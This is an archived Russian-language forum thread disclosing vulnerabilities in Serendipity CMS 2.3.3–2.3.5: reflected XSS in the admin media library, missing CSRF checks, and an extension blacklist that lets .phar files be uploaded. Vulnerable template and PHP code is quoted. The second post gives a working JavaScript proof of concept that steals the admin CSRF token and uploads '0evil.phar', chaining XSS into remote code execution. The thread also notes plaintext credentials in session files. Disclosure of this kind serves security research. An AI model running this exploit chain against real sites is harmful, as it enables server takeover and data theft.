PDA

Просмотр полной версии : Serendipity CMS


Baskin-Robbins
24.10.2020, 13:53
Бегло пробежался.

Оф.сайт - s9y.org

Уязвимы 2.3.3 - 2.3.5, возможно более ренние версии.



Reflected XSS в админке #1

XSS в поле поиска Media файлов - Media Library.

Пример запроса:


Code:
http://localhost.com/serendipity/serendipity_admin.php?serendipity[token]=86ff44208384e04d098c1ee7b69761e0&serendipity[adminModule]=media&serendipity[action]=&serendipity[adminAction]=&serendipity[toggle_dir]=no&serendipity[only_path]=&serendipity[only_filename]=&serendipity[filter]=&serendipity[only_path]=&serendipity[filter][fileCategory]=&serendipity[filter][i.date][from]=&serendipity[filter][i.date][to]=&serendipity[filter][i.name]=&serendipity[keywords]=&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC&serendipity[sortorder][perpage]=8&go=Go!

1)

Уязвимые поля:

serendipity[filter][fileCategory]

serendipity[filter][i.name]

serendipity[filter][i.date][from]

serendipity[filter][i.date][to]

serendipity[sortorder][order]

serendipity[sortorder][ordermode]

serendipity[sortorder][perpage]

serendipity[hideSubdirFiles]

2)

Наша страница содержится в templates/2k11/admin/media_items.tpl

Добираясь, наши данные проходят три функции в include/functions_images.inc.php

showMediaLibrary -> serendipity_displayImageList -> serendipity_showMedia -> media_pane.tpl

Несмотря на то, что с формой отправляется токен, ни в одной из этих функций нет проверки

CSRF токена, форма работает как с токеном так и без него.

3)

Некоторые элементы массива фильтруются еще до попадания в media_items.tpl,

например serendipity[only_path] или serendipity[only_filename], другие

средставами шаблонизатора Smarty в самом файле, но указанные выше -нет

и попадают они вот сюда:


Code:

$(document).ready(function() {
// write: is plain "foo", read: is "serendipity[foo]"!
{foreach $media.sortParams AS $sortParam}

serendipity.SetCookie("sortorder_{$sortParam}","{$media.sortorder.{$sortParam}}");
{/foreach}
{foreach $media.filterParams AS $filterParam}

serendipity.SetCookie("{$filterParam}", "{$media.{$filterParam}}");
{/foreach}

serendipity.SetCookie("only_path", "{$media.only_path}");

serendipity.SetCookie("only_filename", "{$media.only_filename}");

serendipity.SetCookie("hideSubdirFiles", "{$media.hideSubdirFiles}");
{foreach $media.filter AS $k => $v}
{if !is_array($media.filter[{$k}])}

serendipity.SetCookie("[filter][{$k}]", "{$media.filter[{$k}]}");
{else}
{foreach $media.filter[{$k}] AS $key => $val}

serendipity.SetCookie("[filter][{$k}][{$key}]", "{$media.filter[{$k}][{$key}]}");
{/foreach}
{/if}
{/foreach}

$('#media_pane_filter').find('.reset_media_filters ').addClass('reset_filter');
$('#media_pane_sort').find('.reset_media_filters') .addClass('reset_sort');

$('.reset_filter').click(function() {
$('#media_filter').find('input[type=text], input[type=date]').each(function() {
$(this).attr('value', '');
});
});
$('.reset_sort').click(function() {
$("#serendipity_sortorder_order option:selected").removeAttr("selected");
$("#serendipity_sortorder_order option[value='i.date']").attr('selected', 'selected');
$("#serendipity_sortorder_perpage option:selected").removeAttr("selected");
$("#serendipity_sortorder_perpage option[value='8']").attr('selected', 'selected');
});
});


Пройдет простой alert()

Reflected XSS в админке #2

Тот же файл, те же функции, но теперь необходимо обратить внимание на самое начало

шаблона media_items.tpl:


Code:

{$CONST.MEDIA_LIBRARY}


{$media.token}
{if empty($media.form_hidden)}





{else}{$media.form_hidden}{/if}

Тут понятно, элемент form_hidden массива media пустой - выводим шаблон, не пустой -

выводим form_hidden.

Откуда он берется?

include/functions_images.inc.php:serendipity_showMedia()


PHP:
$form_hidden='';
// do not add, if not for the default media list form
if (($serendipity['GET']['adminAction'] =='default'|| empty($serendipity['GET']['adminAction'])) && !$serendipity['GET']['fid']) {
foreach($serendipity['GET'] AS$g_key=>$g_val) {
// do not add token, since this is assigned separately to properties and list forms
if (!is_array($g_val) &&$g_key!='page'&&$g_key!='token') {
$form_hidden.=' '."\n";
}
}
}
// далее $form_hidden попадает в $media


Ключи массива не фильтруются, в отличии от значений и попадают в файл шаблона.

Можно передать serendipity[хоть_что], например serendipity["/>alert()]=XSS.

XSS в имени ключа также справедливо и для serendipity[filter] несмотря на то что

попадает в код, указанный для XSS #1.

Insecure File Upload в админке

Загрузка файлов - это наверное первое на что стоит обратить внимание.

Нам разрешается загрузка широкого диапозона файлов, за исключением

файлов "with active content". А проверяется он по расширению - black list.

include/functions_images.inc.php:serendipity_isActiveFile( )


PHP:
functionserendipity_isActiveFile($file) {
if (preg_match('@^\.@',$file)) {
returntrue;
}

$core=preg_match('@\.(php.*|[psj]html?|pht|aspx?|cgi|jsp|py|pl)$@i',$file);
if ($core) {
returntrue;
}

$eventData=false;
serendipity_plugin_api::hook_event('backend_media_ check',$eventData,$file);
return$eventData;
}


И мы спокойненько грузим phpinfo.phar с содержимым:


Code:

Baskin-Robbins
06.11.2020, 18:50
Небольшое дополнение.

Демонстративный POC XSS->RCE via Phar


Code:
let page = 'http://localhost.com/serendipity/serendipity_admin.php?serendipity[adminModule]=media';

function stealToken(data) {
let dom = new DOMParser();
let doc = dom.parseFromString(data, "text/html");
let input = doc.getElementsByName("serendipity[token]")[0];

submit(input.value);
};

function submit(token) {
let blob = new Blob([""], {type: 'application/octet-stream'});

let formData = new FormData();
formData.append("serendipity[token]", token);
formData.append("serendipity[action]", "admin");
formData.append("serendipity[adminModule]", "media");
formData.append("serendipity[adminAction]", "add");
formData.append("serendipity[userfile][1]", blob, "0evil.phar");
formData.append("serendipity[target_filename][1]", "");
formData.append("serendipity[target_directory][1]", "uploads/");
formData.append("serendipity[column_count][1]", "true");
formData.append("serendipity[imageurl]", "");
formData.append("serendipity[target_filename][]", "");
formData.append("serendipity[target_directory][]", "");
fetch(page, {
method: 'POST',
body: formData
});
}

fetch(page)
.then(r => r.text())
.then(d => { stealToken(d) });


Плюс не бага, но важно - в файлах сессии хранятся в открытом виде логин, пароль, почта, чего быть не должно.